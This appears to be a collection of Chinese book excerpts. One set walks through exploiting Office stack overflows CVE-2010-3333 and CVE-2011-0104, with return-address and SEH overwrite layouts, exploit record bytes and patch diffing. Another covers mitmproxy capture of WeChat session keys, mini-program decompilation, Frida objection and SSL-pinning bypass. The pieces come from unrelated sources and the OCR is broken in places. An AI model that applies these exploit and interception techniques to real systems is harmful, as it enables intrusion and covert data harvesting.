65 31 41 65 d7Ad8Ad9Ae0Ae1Ae 复制内存的目标地址edi刚好偏移栈底ebp共0x10字节，加上ebp本身占用的4字节，刚好共0x14 字节，再覆盖下去就是函数的返回地址了： 0:000> ? ebp-edi Evaluate expression: 16 = 00000010 由于msf.rtf中复制的内存数据较大，导致复制的过程中覆盖到不可写的内存地址而触发异常，因 此没有去执行覆盖到的返回地址或者SEH异常处理函数。 总结上面的分析过程，由于Word中的RTF分析器在解析pFragments属性值时，没有正确计算属 性值所占用的空间大小，只要复制的数据大小超过0x14即可覆盖到返回地址，若继续覆盖下去还可 覆盖到SEH结构，进而控制程序的执行流程，用于执行任意代码。"},
    {"text": "由于在漏洞函数的结尾处，它在返回时会弹出0x14大小 的栈空间，因此我们在jmp esp中填充一些垃圾字节以填充这一空缺： mso!Ordinal1273+0x26ce: 42 漏洞战争：软件漏洞分析精要 30f0b6b8 5f pop edi 30f0b6b9 c9 leave 30f0b6ba c21400 ret 14h 某实际病毒样本的分析情况如图2-40所示。 图2-40 CVE-2010-3333病毒样本 当漏洞函数返回后，会先从栈顶弹出0x14字节空间，然后执行0x7d1f5fb7处的JMP ESP指令，进 而跳入Shellcode的起始地址，导致执行任意代码。"},
    {"text": "2.4.7 Office 2003与Office 2007 Exploit通用性研究 上例样本中的0x7d1f5fb7指令地址并不是很稳定，这种硬编码地址可能受软件及系统版本影响， 较难实 现通 用性利 用。 为了实 现Office 2003与Office 2007的通用，我们可以在返回地址上用 0x0026762F覆盖，它在Office 2003上相当于call esp指令： 0:000> u 0x0026762F l1 0026762f ffd4 call esp 该地址适用于Office 2003 SP0和SP3等各个子版本，属于稳定的跳转地址。 对于Office 2007， 0x0026762F上已不再是call/jmp esp等类似指令，当我们用0x0026762F这个地址覆盖Office 2007上的 返回地址，只要能够让它触发异常，就可能执行SEH结构。"},
    {"text": "我们构造覆盖栈的数据如下，长度为0x2a18： 1111111111111111111111111111111111111111 2f762600 1111111111111111111111111111111111111 ……省略部分内容…… 第2章 栈溢出漏洞分析 43 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 1111111111111111111111111111111 aaaaaaaaffffffff 关于SEH结构地址的定位，可以利用Metasploit上的两个工具pattern_create和pattern_offset定位偏 移量，因篇幅所限，本书不再赘述，更为详细的信息可参考笔者组织并参与翻译的《Exploit编写系 列教程》。"},
    {"text": "下面是在Office 2007 SP0上的调试情况，我们已经成功覆盖返回地址为0x0026762f，同时nextSEH 和SHE Handler也分别被覆盖为全a和全f，如图2-41所示。 图2-41 覆盖Office 2007上的返回地址和SEH结构 然后进入函数0x32e5941b中继续跟踪，在0x32e59423处会判断[ebp+0x14]是否为0，而此时 [ebp+14]相当于[eip+0x14]，这里的eip是指我们覆盖的返回地址，若不为0则发生跳转，此时就会触 发异常。"},
    {"text": "44 漏洞战争：软件漏洞分析精要 图2-42 执行异常 在函数0x32cf3807中会触发异常，我们跟进此函数： 32CF3807 55 PUSH EBP 32CF3808 8BEC MOV EBP,ESP 32CF380A 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 32CF380D 8D04C5 2038CF32 LEA EAX,DWORD PTR DS:[EAX*8+32CF3820] ；"},
    {"text": "触发异常的地址 32CF3817 81E1 FF000000 AND ECX,0FF 32CF381D 51 PUSH ECX 32CF381E FF30 PUSH DWORD PTR DS:[EAX] 32CF3820 FF75 08 PUSH DWORD PTR SS:[EBP+8] 32CF3823 E8 46909DFF CALL mso.326CC86E 32CF3828 5D POP EBP 32CF3829 C2 0800 RETN 8 为了能够让eip顺利地得到执行，我们必须令0x32e59426处的跳转不执行，也就是EIP+0x14处必 须为0x00000000，才能使执行流程能够顺序执行到retn10。"},
    {"text": "第2章 栈溢出漏洞分析 45 注意：不同语言、不同版本的 Office 存在较大差异，有时也受操作系统版本影响，可能在不 填 0 的情况下也不会触发异常，这里我们将此处填充为 0，主要是提高一个利用的通用性，具 体以用户的调试环境为准。"},
    {"text": "利用pvefindaddr插件，我们找到地址0x00280b0b，其汇编在Office 2007中稳定为： call dword ptr [ebp +0x30] 我们用这个地址覆盖SEH Handler，通过执行异常处理，再执行这个地址上的指令，最终会跳到 next SEH上，即0xaaaaaaaa地址。"},
    {"text": "然后，我们再将aaaaaaaa覆盖为eb 06 eb 04(jmp06, jmp04)，以便跳 过SEH Handler，最后在SEH结构之后放置一个回跳指令，使其往回跳转到Shellcode地址，此时的栈 布局情况如图2-43所示。"},
    {"text": "图2-43 通用Exploit的栈布局 2.4.8 漏洞修复 目前官方已提供补丁下载：http://www.microsoft.com/zh-cn/download/details.aspx?id=8121，下载 补丁安装后，提取安装后的mso.dll 文件与未打补丁前的mso.dll进行补丁比较，即可找出微软针对 CVE-2010-3333漏洞的修复方法。"},
    {"text": "（1）unpatch_mso.dll：11.0.8172.0 （2）patch_mso.dll：11.0.8329.0 首先，用IDA分别加载上面两个dll文件，并单击“保存”按钮，就会分别在当前目录下生成相 46 漏洞战争：软件漏洞分析精要 应的idb文件。"},
    {"text": "安装完成后，可在已加载其中一个dll文件的IDA上操作 （这里笔者选用已加载unpatch_mso.dll的IDA），选择菜单 中的“Edit”选项，再选择“Plugins”选项，最后选择“zynamics BinDiff 4.0”选项，以上操作也可通过按“Ctrl + 6”组合键 来完成，最后会弹出提示框，如图2-44所示。 单击“Diff Database…”按钮，在弹出的对话框里选择 图2-44 zynamics BinDiff patch_mso.idb选项打开。"},
    {"text": "之后BinDiff会对这两个DLL进行补 丁比较，在比较的过程中，IDA可能会卡住，而且分析的过 程会比较慢，文件越大分析时间就越长，请分析者耐心等待。"},
    {"text": "图2-45 补丁函数比对 选择“Matched Functions”匹配函数进行对比，其中“similarity”一列代表函数相似度，通常漏 洞函数修改不会太大，多数在0.7~0.9之间，而且在“change”一列中大多带有G标志，即图表视图发 生改变，其他标志的含义可以参考官方的帮助文档。"},
    {"text": "之前，我们已经分析过漏洞成因， 漏洞函数位于unpatch_mso.dll中的0x30f0b5c2，因此，我们直接定位此函数与patch_mso.dll中另一个 匹配函数0x30f39832的对比情况。"},
    {"text": "我们先打开BinDiff主程序bindiff_4.0.jar（若未打开主程序，后面的操作会出现“Could not create the java virtual machine”的错误提示），然后选中函数单击鼠标右键，选择“View Flowgraphs” 选项，如图2-46所示。"},
    {"text": "图2-47 补丁前后的函数代码对比 上面BinDiff在显示函数差异性时，具体差异的代码的高亮标记功能还有待提高，比如，图2-47 中右图下方多出的代码块其实与左图第3个代码块中高亮标记的代码行是部分相同的，但它的补丁比 较功能还是相当强大的，而且显示上更为人性化，支持多种图表显示。 为了更方便地显示具体差异 的代码行，笔者将修复前后的两个函数的反汇编代码复制下来，然后用TextDiff进行文本比较，如图 2-48所示，左边是补丁前的反汇编代码，右边是补丁后的反汇编代码。"},
    {"text": "48 漏洞战争：软件漏洞分析精要 图2-48 汇编指令文本比较 通过前面的分析我们可以知道，漏洞主要是在复制内存时未检测复制内存大小导致的栈溢出， 在执行rep movs指令时，控制复制内存大小的是ecx寄存器，因此，我们在分析过程中主要关注ecx的 变化，看微软是否添加对其大小的检测。 在图2-48所示的代码中可以看到，中间高亮部分就是微软 在漏洞函数中添加的内容，但上面补丁后的代码并没有看到有检测复制内存大小的行为，因此，我 们可以认为检测内存大小的行为可能位于上面某调用函数中，但里面调用的函数都是通过eax偏移来 索引的，不便于静态分析，最好采用动态调试的方法来分析。"},
    {"text": "2.5 CVE-2011-0104 Microsoft Excel TOOLBARDEF Record 栈溢出漏洞 2.5.1 漏洞描述 CVE-2011-0104是Microsoft Excel在解析XLB文件中的TOOLBARDEF Record（CVE公告上写的 是HLINK记录，但笔者在查询Office官方文档时，发现HLINK对应的类型值是0x1B8，而非0xA7，并 且0xA7未文档化，但py-office-tools分析工具给出的是TOOLBARDEF记录，后面0x3C对应的是 CONTINUE记录，这与官方文档相吻合）时存在的栈溢出漏洞，导致可执行任意代码。"},
    {"text": "表2-3 测试环境 推荐使用的环境 备注 操作系统 Windows XP SP3 简体中文版 虚拟机 VirtualBox 版本号：4.1.8 调试器 Immunity Debugger 版本号：1.73 调试器 WinDbg 版本号：6.12.0002.633 反汇编器 IDA Pro 版本号：6.1 漏洞软件 Microsoft Office Excel 版本号：2003（11.8169.8329）SP3 中文版 2.5.3 基于污点追踪思路的漏洞分析方法 关于CVE-2011-0104漏洞的PoC代码已在exploit-db站点上有公布，而著名的安全组织Abysssec 也在其博客上公布了漏洞原理及相应的利用代码，此处我们以Abysssec组织公布的Exploit作为调试 样本。"},
    {"text": "首先，运行excel.exe，然后用WinDbg加载运行，并打开exploit.xlb文件，打开后触发异常： (584.79c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=90909090 ebx=0013d108 ecx=00000006 edx=31627f48 esi=00000000 edi=00000400 eip=300e06f7 esp=0013b0c4 ebp=0013b130 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\\Program Files\\Microsoft Office\\OFFICE11\\EXCEL.EXE - EXCEL!Ordinal41+0xe06f7: 300e06f7 8908 mov dword ptr [eax],ecx ds:0023:90909090=???????? 0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 0013b130 90909090 90909090 90909090 90909090 EXCEL!Ordinal41+0xe06f7 0013b134 90909090 90909090 90909090 90909090 0x90909090 0013b138 90909090 90909090 90909090 90909090 0x90909090 0013b13c 90909090 90909090 90909090 90909090 0x90909090 崩溃地址位于函数sub_300E05AD，我们暂且将其命名为CrashFun函数。"},
    {"text": "重新加载Excel进程，并 第2章 栈溢出漏洞分析 53 在0x300E05AD下断，然后再对栈顶下内存写入断点，执行后我们来到0x300DE834，这里就是循环 复制数据到栈上导致溢出的地址，如图2-49所示。 图2-49 将Shellcode复制到栈上 由于Exploit是为Excel 2007 SP2写的，而笔者是在Excel 2003 SP3上测试的，因此“跳板地址”并 没有精确地覆盖到栈顶，反而被Shellcode覆写，也有可能这是Abysssec故意留的一手，下面的分析也 会跟Abysssec博客上的分析文章描述的情况有所不同。 用IDA加载excel.exe，定位到复制栈数据的0x300DE834，该地址位于函数sub_300DE7EC中，暂 时将其命名为VulFun。"},
    {"text": ".text:300DE7EC VulFun proc near ; CODE XREF: sub_300DA029+1A8p .text:300DE7EC ; sub_300DD9D4+2BAFDj ... .text:300DE7EC .text:300DE7EC arg_0 = dword ptr 4 .text:300DE7EC arg_4 = dword ptr 8 .text:300DE7EC arg_8 = dword ptr 0Ch .text:300DE7EC .text:300DE7EC push ebx .text:300DE7ED mov ebx, [esp+4+arg_4] ; 复制的字节数来源于第 2 个参数 arg_4 .text:300DE7F1 test ebx, ebx .text:300DE7F3 jz loc_30107F82 54 漏洞战争：软件漏洞分析精要 .text:300DE7F9 cmp ebx, [esp+4+arg_8] .text:300DE7FD ja loc_30238F06 .text:300DE803 mov edx, dword_30892C44 .text:300DE809 mov eax, NumberOfBytesWritten .text:300DE80E push ebp .text:300DE80F mov ebp, [esp+8+arg_0] .text:300DE813 push esi .text:300DE814 push edi .text:300DE815 .text:300DE815 loc_300DE815: ; CODE XREF: VulFun+3BA1Cj .text:300DE815 cmp edx, eax .text:300DE817 jge loc_3011A20D .text:300DE81D .text:300DE81D loc_300DE81D: ; CODE XREF: VulFun+3BA40j .text:300DE81D sub eax, edx .text:300DE81F cmp ebx, eax .text:300DE821 jge short loc_300DE825 .text:300DE823 mov eax, ebx ; ecx = eax = ebx .text:300DE825 .text:300DE825 loc_300DE825: ; CODE XREF: VulFun+35j .text:300DE825 lea esi, dword_3088EC40[edx] .text:300DE82B mov ecx, eax ; ecx = eax = 复制的字节数 .text:300DE82D mov edx, ecx .text:300DE82F shr ecx, 2 ; 以 dword 单位进行复制，故除 4 .text:300DE832 mov edi, ebp .text:300DE834 rep movsd ; 循环复制数据到栈上导致溢出 回头看Immunity Debugger中的栈情况，如图2-50所示，这里复制的字节大小刚好就是0x300，明 显大于栈空间大小（目的地址距离栈顶0x60字节），最后会导致栈溢出。"},
    {"text": "在0x3070DF3D上方观察到以下代码，下面是调 试时的情况： 3070DF0A |. 83F8 3C ||CMP EAX,3C ; 判断 record type 是否为 0x3C 第2章 栈溢出漏洞分析 55 3070DF0D |. 8945 68 ||MOV DWORD PTR SS:[EBP+68],EAX 3070DF10 |. 0F85 C80A0000 ||JNZ EXCEL.3070E9DE 3070DF16 |. E8 AA089DFF ||CALL <EXCEL._GetCopySize> ; 获取复制的字节数，这里返回 0x300 3070DF1B |. 8B7D 34 ||MOV EDI,DWORD PTR SS:[EBP+34] ; edi = 0x0C0F 3070DF1E |. 0FAF7D 70 ||IMUL EDI,DWORD PTR SS:[EBP+70] ; 0x0C0F * 0x04 = 0x303C 3070DF22 |. 8945 7C ||MOV DWORD PTR SS:[EBP+7C],EAX ; eax = 0x300 3070DF25 |. 8B45 6C ||MOV EAX,DWORD PTR SS:[EBP+6C] 3070DF28 |. 8D7407 03 ||LEA ESI,DWORD PTR DS:[EDI+EAX+3] ; 计算复制的目标地址 3070DF2C |. E8 735B9BFF ||CALL EXCEL.300C3AA4 3070DF31 |. 6A FD ||PUSH -3 3070DF33 |. 59 ||POP ECX 3070DF34 |. 2BCF ||SUB ECX,EDI 3070DF36 |. 03C1 ||ADD EAX,ECX 3070DF38 |. 50 ||PUSH EAX ; 最大拷贝字节数 3070DF39 |. FF75 7C ||PUSH DWORD PTR SS:[EBP+7C] ; 复制的字节数 3070DF3C |. 56 ||PUSH ESI ; 目的地址 3070DF3D |. E8 AA089DFF ||CALL <EXCEL.VulFun> 我们直接用IDA的F5功能对函数sub_3070DD5F进行反编译，得到以下伪C代码： if ( v93 == 0xA7 ) // 判断 recode type 是否为 TOOLBARDEF[0xA7] { v8 = (int)((char *)v6 + v5); v9 = dword_30895B44 < 5; LOBYTE(v9) = dword_30895B44 >= 5; v97 = (int)((char *)v6 + v5); LOWORD(v8) = *(_WORD *)((char *)v6 + 1); v80 = *(_WORD *)((char *)v6 + 1); v10 = 2 * v9 + 2; v11 = (int)((char *)v6 + v10 * v80 + 3); v91 = v8; i = (unsigned int)((char *)v6 + 3); v95 = v10; if ( (signed __int16)v8 > 0 ) { while ( 1 ) { --v91; v12 = i; while ( 1 ) { v13 = v92; 56 漏洞战争：软件漏洞分析精要 if ( dword_30895B44 >= 5 ) { v96 = *(_DWORD *)v12; } else { LOWORD(v96) = *(_BYTE *)v12; HIWORD(v96) = *(_BYTE *)(v12 + 1); } if ( (_WORD)v96 ) break; v12 += v95; v14 = v91--; v92 = 1; i = v12; if ( !v14 ) { v13 = v92; break; } } if ( HIWORD(v96) & 0x12F && v11 >= (unsigned int)v97 ) { v93 = sub_300DE7C5(); // v93 = 0x3C if ( v93 != 0x3C ) // 判断 record type 是否为 CONTINUE[0x3C] goto LABEL_187; // 不跳转 v15 = sub_300DE7C5(); // 返回复制字节数 0x300 v16 = v95 * v80; v97 = v15; v11 = (int)((char *)v94 + v95 * v80 + 3); v17 = sub_300C3AA4(); VulFun(v11, v97, -3 - v16 + v17); // 漏洞函数 ……省略部分内容…… } } } 下面是Exploit代码的关键部分： recordType = \"\\xA7\\x00\" recordLenght = \"\\x04\\x00\" field1 = \"\\xB0\" 第2章 栈溢出漏洞分析 57 field2 = \"\\x0F\\x0C\" field3 = \"\\x00\" field4 = \"\\x3C\\x00\" field5 = \"\\x00\\x03\" 结合Exploit代码和上述分析，我们就可大胆地做出如下推测。"},
    {"text": "Excel 在 解 析 TOOLBARDEF[0xA7] Record 时 ， 若 接 下 去 的 Record Type 为 CONTINUE[0x3C] Record，则将CONTINUE记录中Len值0x300作为复制字节数，而OOLBARDEF[0xA7]记录中的Len值 0x04与cbtn字段0x0C0F控制着复制的目标地址。"},
    {"text": "用BinDiff对补丁前后的excel.exe进行补丁比较，先定 位到漏洞函数VulFun，查看后发现没什么变化，我们再对调用VulFun的函数sub_3070DD5F进行对比， 它对应的是修复后的函数sub_3070F7AA，如图2-51所示。"},
    {"text": "图2-51 补丁比较结果 对比修复前后的代码情况，如图2-52所示。 图2-52 F5代码对比 补丁后的程序在调用漏洞函数前增加了一些判断条件，相当于v96 ≤ v16 / v97 时才会调用漏"},
    {"text": "Unknown 5. 3 MitmProxy 5. 3. 1 工具介绍 Mitm 的全称是 Man-in-the-MiddleAttack （中间人攻击）。 它是一种 “间接” 的入侵攻击， 这种攻击模 式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间， 这 台计算机就称为中间人。 而 Mitmproxy 是一个免费和开源的交互式 HTTPS 代理， 基于中间人的方式用于调试、 测试、 抓包和 . 1 57 爬虫逆向进阶实战 渗透测试。 它可用于拦截、 检查、 修改和重播 Web 通信， 例如 HTTP / 1、 HTTP / 2、 webSocket 或任何其他 受 SSL / TLS 保护的协议。 可以解码从 HTML 到 Protobuf 的各种消息类型， 即时拦截特定消息， 在它们到达 目的地之前， 对其进行修改， 稍后将其重放到客户端或服务器。 Mitmproxy-mitmdump 可编写强大的插件和脚本。 脚本 Api 提供对 Mitmproxy 的完全控制， 并可以自动 修改消息， 重定向流量， 可视化消息或实现自定义命令。 最重要的原因是可配合 Python 脚本对数据包进 行拦截修改， 使用简单， 所以 Mitmproxy 是爬虫工程师必须掌握的利器之一。 官网的 Python 代码示例： from mitmproxy import http def request(flow:http.HTTPFlow): # redirect to different host if flow.request.pretty_host = = \"example.com\": flow.request.host =\"mitmproxy.org\" # answer from proxy elif flow.request.path.endswith(\"/brew\"): flow.response = http.HTTPResponse.make( 418, b\"I m a teapot\", ) 5. 3. 2 安装配置 本小节以在 Windows 10 上的安装配置为例。 客户端安装： https： / / mitmproxy. org / downloads / Python 库安装： pip install Mitmproxy （1） 安装完成之后， 在 cmd 命令行中输入 Mitmdump 启 动服务， 默认是 8080 端口。 （ 2） 启 动 成 功 后， 下 载 Mitm 证 书： 访 问 http： / / mitm. it/ 下载。 （3） 点击 Windows 下载安装。 如果网页显示 If you can see this， traffic is not passing through Mitmproxy， 则按照第二 步设置 Windows 本地代理后， 再次安装。 （4） 修改 Windows 本地代理。 选择 “设置” 中的 “网 络代理” 中的 “手动设置代理”， 打开 “使用代理” 并将 IP 地址修改为 127. 0. 0. 1， 端口修改为默认 8080 或修改后的端 口， 如图 5-21 所示。 ·图 5-21 5. 3. 3 替换浏览器 Js 通过中间人替换 Js 文件内容通常用来规避检测， 比如下面的代码， 如果拦截到了来自 https： / / baidu. com 的响应内容， 则把响应内容中的所有 debugger 替换为空， 然后返回给客户端。 from mitmproxy.http import flow def response(flow:flow): 1 58 . 第 5 章 抓包工具的应用 target_url = https://www.baidu.com if target_url in flow.request.url: jscode = flow.response.get_text() jscode = jscode.replace( debugger , ) flow.response.set_text(jscode) 5. 3. 4 公众号拦截案例 本小节介绍一个通过 Windows 客户端+Mit- mproxy 采集微信公众号文章的案例。 Github： https： / / Github. com/ lixi- 5338619/ weixin-spider 项目流程如图 5-22 所示。 因为获取微信公众号需要有很多参 数， 比如 x-wechat-key、 _biz、 Appmsg_token、 pass _ticket 等。 如果去逆向， 难度过高并且消耗大 量时间， 此时可以通过自动触发请求， 然后用 Mitmproxy 拦截请求， 获取其中的加密参数来进 行 数 据 采 集。 需 要 用 Python 自 动 化 操 作 Windows 客户端的微信， 用 Redis 存储 Mitm 拦 截到的 key， 然后通过调度分配采集任务， 完成 请求后将数据保存入库。 ·图 5-22 Python-Mitm 拦截模块代码如下： import re from mitmproxy import http class WeiXinProxy: def request(self, flow:http.HTTPFlow): if flow.request.host = = \"mp.weixin.qq.com\": url_path = flow.request.path if url_path.startswith(\"/s? _biz=\"): if \"uin=\" in url_path and \"key=\" in url_path and \"pass_ticket=\" in url_path: biz = re.search(r\"_biz=([^&]+)&?\", url_path).group(1) key = re.search(r\"key=([^&]+)&?\", url_path).group(1) uin = re.search(r\"uin=([^&]+)&?\", url_path).group(1) pass_ticket = re.search(r\"pass_ticket=([^&]+)&?\", url_path).group(1) print(\"抓到了：\", biz, uin, key,pass_ticket) 通过 host 判断是否来自微信的请求， 然后通过 URL 来判断是否包含加密参数的链接。 更多内容大家 可以参考 Github 的源码进行测试。 5. 3. 5 移动端拦截案例 移动端不论是 App 还是小程序， 都可以采用上一小节的方法， 通过自动化工具或者脚本触发请求， 然后用 Mitmproxy 拦截请求或者响应。 另外 Mitmproxy 有一个优势就是可以部署在 Linux 服务器上。 . 1 59 爬虫逆向进阶实战 本小节以 Appnium+Android 设备+Mitmproxy 采集微信指数为例。 微信指数并没有复杂的加密算法， 但 是有一个具有时效性的 search_key 参数， 所以需要做的是通过 Mitm 将 search_key 取出保存到数据库中， 供外部程序使用， 如果过期则重新获取。 配置好相关环境和证书后， 可以编写拦截代码： import json def response(flow): url =\"https://search.weixin.qq.com/cgi-bin/searchweb/weApplogin\" if flow.request.url.startswith(url): text = flow.response.text data =json.loads(text) search_key = data.get(\"data\").get(\"search_key\") print(search_key) 将 search_key 进一步存储后即可进行采集。 通过 Appnium 自动化触发请求的例子这里就不再具体叙述了。 只要是可以在 Mitmproxy 抓到包的请求， 都可以通过这种方法进行拦截并做相应的数据采集。"},
    {"text": "Unknown 7. 1 小程序逆向基础 7. 1. 1 反编译流程 小程 序 的 反 编 译 方 式 与 定 位 方 式 与 Android 逆向有所不同， 需要先获取小程序源 码， 然后反编译， 通过微信开发者工具进行修 复和调试。 因为小程序的源码在微信应用的沙 盒目录中， 所以需要一台 Root 过的手机或者 Android 模拟器， 把小程序源码迁移到本地。 迁移之后， 通过工具进行反编译， 笔者 平时使用的是 CrackMinApp 工具。 如果已经 有 node 环境， 也可以使用 wxAppUnpacker 进 ·图 7-1 行反编译， 如图 7-1 所示。 2 52 . 第 7 章 小程序逆向 Github 地址： https： / / Github. com/ Cherrison/ CrackMinApp 小程序中有对包大小的限制， 超过 2MB 后就需要使用分包。 因为分包会让用户在操作小程序的时候 按需下载资源， 所以在迁移小程序包时， 可能没有拿到所有的或者重要的包， 这点需要大家注意一下。 如果碰到了分包的情况， 需要先把主包、 分包、 基础包都迁移到本地， 通过 node 命令进行解包， 然 后把分包内容复制至主包相应目录， 再进行反编译。 反编译完成后， 通过微信开发者工具， 使用测试号导入项目到开发者工具中， 如图 7-2 所示。 ·图 7-2 另外小程序反编译后， 通常会缺失部分插件代码， 或者文件中的一些路径无法识别， 因此需要手动 进行修复。 解决方法是根据控制台中的异常， 找到错误原因， 然后删除异常代码或者修改异常。 越是复杂的小程序就越难修复， 所以对各文件作用和目录结构必须有一定了解， 才能顺利完成修复。 修复后即可根据需求定位相应的加密参数进行一系列逆向操作。 7. 1. 2 反编译案例 本小节通过案例实操来讲解如何拿到小程序源码并进行反编译。 因为一些操作需要 Root， 所以案例 采用模拟器进行。 Unknown 8. Frida objection objection 是基于 Frida 开发的命令行工具， 它的运行逻辑和之前所说的内存漫游相似， 可以方便地 Hook 函数和类， 查看调用栈、 返回值等。 熟练使用 objection 是 Frida 进阶的必要能力之一。 Github 地址： https： / / Github. com/ sensepost/ objection 安装方法很简单， 直接 pip 安装即可， 但是需要注意 objection 和 Frida 版本是否匹配。 如果已经安装 了 12. 11 版本的 Frida， 那么用 1. 8. 4 版本的 objection 即可。 也可以全部安装最新版本。 基本的使用方法是在启动 Frida 后， 使用 objection 命令注入目标应用中， 如表 6-22 所示。 注入命令： objection -g com. xx. xx explore 注入成功后可进行各种查询操作。 表 6-22 各种命令 命 令 简 介 objection -N 指定 IP 远程连接手机 objection -h 指定主机 objection -p 指定端口 objection -g 指定应用 memory list modules 列出内存中加载的 so 库 memory list exports lx. so 列出 so 库的导出函数 memory search\" 字节串\" 搜索内存数据 memory write 内存地址\" 字节串\" 写入内存数据 android hooking list activities 列出所有 activities android hooking list classes 列出内存中所有的类 android hooking list class_methods com. xx. xxx. Lx 列出指定类的所有方法 android hooking search classes 类名 在内存中所有的类里搜索类 android hooking search methods 方法名 在内存中所有的类里搜索方法 . 2 25 爬虫逆向进阶实战 (续) 命 令 简 介 import / root / opt / objectionHook. js 导入 Hook 代码 android hooking watch class com. xx. xxx. Lx Hook 类所有方法 android hooking watch class_method com. xx. xxx. Lx. $ init Hook 类单个方法 android root disable 尝试关闭 App 的 Root 检测 android root simulate 尝试模拟 Root 环境 android ui screenshot [image. png] 截图 androidsslpinning disable 关闭 App ssl 校验"},
    {"text": "Unknown 2. 7 Crawlab 笔者也开发过一个采集器管理平台 Crawlx， 当时参考了很多开源平台， 比如 Gerapy、 Spider-admin、 Scrapyweb 这些基于 Scrapyd-Api 的平台， 并没有太多可扩展空间。 2 6. 第 2 章 Python 爬虫技巧 而基 于 Golang 的 分 布 式 网 络 爬 虫 管 理 平 台 Crawlab， 可以运行任何语言和框架， 精美的 UI 界面， 支持分布式爬 虫、 节 点 管 理、 爬 虫 管 理、 任 务 管 理、 定时任务、 结果导出、 数据统计、 消息通知、 可配置 爬虫、 在线编辑代码等功能。 无疑是众星之子， 也是 本节 重 点 介 绍 的 内 容。 Crawlab 在 未 来 很 可 能 会 像 Scrapy 一样成为每个爬虫工程师必备的技能之一， 如 图 2-20 所示。 Github 地址： https： / / Github. com/ Crawlab-team/ Crawlab ·图 2-20 2. 7. 1 Crawlab 架构 Crawlab 的架构包括了一个主节点 （Master Node） 和多个工作节点 （Worker Node）， 以及负责通信和 数据存储的 Redis 和 MongoDB 数据库， 如图 2-21 所示。 ·图 2-21 前端应用向主节点请求数据， 主节点通过 MongoDB 和 Redis 来执行任务派发调度以及部署， 工作节点收到任务之 后， 开始执行爬虫任务， 并将任务结果存储到 MongoDB。 架构相对于 v0. 3. 0 之前的 Celery 版本有所精简， 去除了不 必要的节点监控模块 Flower， 节点监控主要由 Redis 完成， 如图 2-22 所示。 主节点是整个 Crawlab 架构的核心， 属于 Crawlab 的中 控系统。 主节点负责与前端应用进行通信， 并通过 Redis 将 爬虫任务派发给工作节点。 同时， 主节点会同步 （ 部署） 爬虫给工作节点， 通过 Redis 和 MongoDB 的 GridFS。 ·图 2-22 . 2 7 爬虫逆向进阶实战 工作节点的主要功能是执行爬虫任务和存储抓取数据与日志， 并且通过 Redis 的 PubSub 跟主节点通 信。 通过增加工作节点数量， Crawlab 可以做到横向扩展， 不同的爬虫任务可以分配到不同的节点上 执行。 MongoDB 是 Crawlab 的运行数据库， 存储有节点、 爬虫、 任务、 定时任务等数据， 另外 GridFS 文件 存储方式是主节点存储爬虫文件并同步到工作节点的中间媒介。 Redis 是非常受欢迎的 Key-Value 数据库， 在 Crawlab 中主要实现节点间数据通信的功能。 例如节点会 将自己的信息通过 HSET 存储在 Redis 的 nodes 哈希列表中， 主节点根据哈希列表来判断在线节点。 2. 7. 2 Crawlab 部署 Github 中提供了三种部署方式， 分别是 Docker、 Kubernetes、 源码部署， 如图 2-23 所示。 ·图 2-23 其中最为简便的是通过 Docker-Compose 来安装。 只需要提前安装好 Docker 和 Docker-Compose， 然后 通过命令 Docker-Compose up 即可完成部署。 如果用户有多台机器， 那么可以使用 Kubernetes 来部署， 这样可以降低管理分布式应用的成本。 具 体安装流程可参考 Crawlab 安装文档。 中文文档链接： https： / / docs. Crawlab. cn / zh"},
    {"text": "Unknown 8. 1 证书认证 8. 1. 1 SSL 单向认证 本节内容讲解一下通用场景下抓包工具的证书校验问题， 这种情况是在使用代理之后， App 会返回 网络出错， 且无法获取数据的信息。 首先介绍一下 SSL / TLS Pinning （证书锁定）， 其将服务器提供的 SSL / TLS 证书内置到移动端开发的 App 客户端中， 当客户端发起请求时， 通过比对内置的证书和服务器端证书的内容， 以确定这个连接的 合法性， 也叫作单向认证。 Android 7. 0 以上的系统版本， 应用不再信任用户自己安装的用户证书， 一般应用只信任系统预装证 书或者是 自 身 的 内 置 证 书， 导 致 SSL Pinning 证 书锁 定， 用 charles 或者 fiddler 无法抓取数据包。 此时想要抓包的方法， 最简单的方式是降低 Android 设备的版本， 比如 换 Android 5. 0 的系统。 如果只能用 7. 0 或更高版本时， 可以把证书装在系 统信任的证书里， 不过手机需要 Root 权限。 比如以 fiddler 证书为例， 把 fiddler 证书下载后， 通过 OpenSSL 将 cer 文件转换成 crt 文件， 然后根据证 书的 hash 值修改证书名称， 将证书 push 到手机的 / system / etc / security / cacerts/ 目录， 最后重启设备， 就能在系统证书中看到 fiddler 证书了。 重点要说的是另一种方案， 采用 Xposed 框架和 JustTrustMe 模块或者 sslunpining 模块。 JustTrustMe 是基于 Xposed 的一个模块， 可以禁用 SSL 证书 检查， 从而抓取此应用所有网络流量， 不过该模块的禁用方法是针对固定名 称的特定函数， 所以经常会遇到不友好的模拟器或者 App 导致禁用失效。 sslunpining 也是 Xposed 的模块， 主要作用是绕过 SSL 证书的验证， 目 前更好用一些， 如图 8-1 所示。 ·图 8-1 2 66 . 第 8 章 抓包技巧汇总 Github： https： / / Github. com/ ac-pm/ SSLUnpinning_Xposed 还有一种无须 Root 的方案， 使用 VirtualXposed 框架和 JustTrustMe 模块或者 sslunpining 模块。 VirtualXposed 可以理解为在手机内装一个虚拟机， 然后在虚拟机内运行需要抓包的应用， 在虚拟机内是不需要 证书验证的， 大家感兴趣的话可以自行尝试。 如果在正常情况下以上方法都失效的时候， 可能是 App 修改了请求库中检测函数的方法名， 此时需 要查看源码来确定方法名， 然后使用 Xposed 或者 Frida 来 Hook 该方法绕过验证。 比如 Frida-skeleton 配合 BurpSuite 抓包， 自动绕过证书绑定校验 （SSL Pinning）。 8. 1. 2 SSL 双向认证 双向认证是指服务器和客户端双方都有证书校验， 服务端需要客户端提供身份认证。 一般情况是打 开抓包工具之后， 返回 No required SSL certificate was sent 或者需要提供客户端证书。 SSL 双向认证逻辑上很简单， 把客户端证书 dump 出来， 然后导入到抓包工具中就成功了。 但是如何获取客户端证书呢， 